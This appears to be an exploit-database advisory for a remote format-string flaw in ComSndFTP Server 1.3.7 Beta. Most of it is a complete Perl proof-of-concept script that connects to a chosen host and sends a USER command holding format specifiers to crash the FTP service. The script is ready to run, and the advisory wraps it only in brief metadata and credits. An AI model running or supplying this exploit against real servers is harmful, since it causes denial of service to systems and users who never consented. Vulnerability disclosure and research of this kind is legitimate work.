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ComSndFTP 1.3.7 Beta Format String Overflow
Title: ComSndFTP Server Remote Format String Overflow Vulnerability Software : ComSndFTP FTP Server Software Version : ComSndFTP 1.3.7 Beta Vendor: http://ftp.comsnd.com/ Vulnerability Published : 2012-06-07 Vulnerability Update Time : Status : Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P) Bug Description : ComSndFTP Server is a free ftp server for windows. It is possible for remote attackers to use USER command with any format string that will lead to a Denial Of Service flaw for the FTP service. Proof Of Concept : ----------------------------------------------------------- #!/usr/bin/perl -w #ComSndFTP Server Remote Format String Overflow Exploit #Written by demonalex@163.com use IO::Socket; $|=1; $host=shift || die "$0 \$host \$port\n"; $port=shift || die "$0 \$host \$port\n"; $evil = '%s%p%x%d'; print "Launch Attack ... "; $sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n"; if(defined($sock1)){ $sock1->recv($content, 100, 0); sleep(2); $sock1->send("USER ".$evil."\r\n", 0); sleep(2); $sock1->recv($content, 100, 0); sleep(5); $sock1->close; } print "Finish!\n"; exit(1); ----------------------------------------------------------- Credits : This vulnerability was discovered by demonalex(at)163(dot)com mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk Pentester/Independent Researcher Dark2S Security Team/HongKong PolyU # 0day.today [2024-12-25] #